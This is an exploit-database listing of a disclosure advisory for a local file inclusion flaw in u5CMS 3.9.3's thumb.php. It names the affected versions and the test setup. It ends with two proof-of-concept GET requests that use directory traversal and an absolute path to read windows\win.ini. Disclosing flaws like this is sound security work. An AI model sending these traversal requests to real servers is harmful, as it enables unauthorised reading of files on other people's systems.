u5CMS 3.9.3 - Local File Inclusion Vulnerability

ID 1337DAY-ID-23271
Type zdt
Reporter LiquidWorm
Modified 2015-02-10T00:00:00


Exploit for php platform in category web applications

                                            u5CMS 3.9.3 (thumb.php) Local File Inclusion Vulnerability
Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2
Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.
Desc: u5CMS suffers from an authenticated file inclusion vulnerability (LFI) when
input passed thru the 'f' parameter to thumb.php script is not properly verified
before being used to include files. This can be exploited to include files from
local resources with their absolute path and with directory traversal attacks.
Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
Advisory ID: ZSL-2015-5224
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5224.php
GET /u5cms/thumb.php?w=100&f=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
GET /u5cms/thumb.php?w=100&f=/windows/win.ini HTTP/1.1

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